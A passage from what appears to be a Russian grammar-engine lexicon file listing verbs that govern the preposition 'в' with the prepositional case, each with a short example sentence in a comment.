(ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // 